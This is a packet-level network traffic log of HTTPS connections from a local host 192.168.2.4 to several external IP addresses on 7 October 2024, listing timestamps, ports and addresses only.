Oct 7, 2024 13:17:05.537282944 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537333965 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537411928 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537451029 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537503004 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537576914 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537630081 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537689924 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537745953 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537797928 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537848949 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537890911 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537899971 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537955046 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537992001 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.538055897 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.538822889 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.538930893 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.541018009 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.541093111 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.541124105 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.541156054 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.541174889 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.541234970 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.541286945 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.541352987 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.541410923 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.542381048 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.542438984 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.542517900 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.542579889 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.542651892 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.542705059 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.542732000 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.542792082 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.542834044 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543049097 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543119907 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543149948 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543209076 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543308973 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543356895 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543440104 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543500900 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543549061 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543600082 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543658018 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543714046 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543720007 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543732882 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543762922 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543773890 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.543838978 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.543886900 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.544143915 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.544598103 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.544657946 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.544763088 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.544780970 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.545109034 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.545166016 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.545216084 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.545265913 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.545300007 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.545321941 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.545360088 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.545533895 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.545874119 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.545968056 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546185017 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546219110 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546253920 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546351910 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546390057 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546449900 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546519041 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546571016 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546683073 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546684980 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546736002 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546740055 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546859980 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.546917915 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.546943903 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:05.546963930 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.546983004 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:05.547019005 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.547041893 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:05.547041893 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547045946 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.547110081 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547286987 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.547347069 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547456026 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.547508955 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547558069 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.547585011 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547610998 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.547877073 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.547893047 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.547959089 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.547981024 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.548141003 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.548141956 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.548154116 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.548250914 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.548329115 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:05.548345089 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:05.548505068 CEST	49826	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.548578024 CEST	443	49826	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.548650980 CEST	49826	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.548752069 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.548975945 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.549062014 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.549238920 CEST	49826	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.549259901 CEST	443	49826	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.550553083 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.550622940 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.551762104 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.551851988 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.551878929 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.563011885 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.563074112 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.563302994 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.563369036 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.563524008 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.563580036 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.564471960 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.564539909 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.565165043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.565220118 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.587420940 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.591415882 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.595401049 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.596683025 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.596700907 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.601131916 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601192951 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601257086 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.601304054 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601335049 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601358891 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.601380110 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601404905 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.601567984 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601620913 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.601634979 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.601682901 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.631721020 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.631737947 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.631917953 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.638212919 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.638355970 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.638385057 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.638444901 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.639029026 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.639097929 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.639363050 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.639415026 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.639705896 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.639774084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.640064001 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.640127897 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.640383959 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.640440941 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.640728951 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.640785933 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.641057968 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.641118050 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.641415119 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.641472101 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.641710043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.641767979 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.642034054 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.642087936 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.645828009 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.646862984 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.655949116 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.656019926 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.656301975 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.656363964 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.656636000 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.656697035 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.657275915 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.657335997 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.658782959 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.658850908 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.666778088 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.666834116 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.666865110 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.666903019 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.667001009 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.667068005 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.667131901 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.669984102 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.670041084 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.674115896 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.678852081 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.678937912 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.678955078 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.684540987 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.684603930 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.684796095 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.684859037 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.685024023 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.685080051 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.685094118 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.685137033 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.685230017 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.685242891 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.687138081 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.687170982 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.687243938 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.687262058 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.704102993 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.704291105 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.704351902 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.705801010 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.705864906 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.705883980 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.707951069 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.708039999 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.708101988 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.708173990 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.708868027 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.708941936 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.709127903 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.709197044 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.709230900 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.709378958 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.709417105 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.709459066 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:05.709487915 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.709487915 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.709534883 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:05.730675936 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.730750084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.730824947 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.730885983 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.731837034 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.731909990 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.732213020 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.732290983 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.732609987 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.732672930 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.732907057 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.732975006 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.733194113 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.733252048 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.733576059 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.733640909 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.733975887 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.734035969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.734276056 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.734343052 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.734513044 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.734571934 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.737230062 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.745068073 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.748853922 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.748935938 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.749026060 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.749098063 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.749185085 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.749244928 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.750488043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.750556946 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.750812054 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.750881910 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.754240036 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.754307032 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.754468918 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.754501104 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.754956961 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.755053997 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.755064964 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.755081892 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.755125046 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.755899906 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.755912066 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.760365963 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.766869068 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.766907930 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.766973972 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.767160892 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:05.767177105 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:05.771862030 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.771889925 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.772619963 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.772670984 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.772723913 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.772790909 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.774490118 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.774678946 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.776735067 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.776735067 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.778181076 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.778208017 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.786336899 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:05.786386013 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:05.786447048 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:05.786746979 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:05.786767006 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:05.790294886 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.790395021 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.823457956 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.823524952 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.823786974 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.823857069 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.824527025 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.824615955 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.824819088 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.824882030 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.824915886 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.824976921 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.825042963 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.825103998 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.825267076 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.825329065 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.825361967 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.825419903 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.825942993 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.826014996 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.826170921 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.826318979 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.826354980 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.826369047 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.826387882 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.826492071 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.837582111 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.837810040 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.841315031 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.841407061 CEST	49807	443	192.168.2.4	192.185.125.111
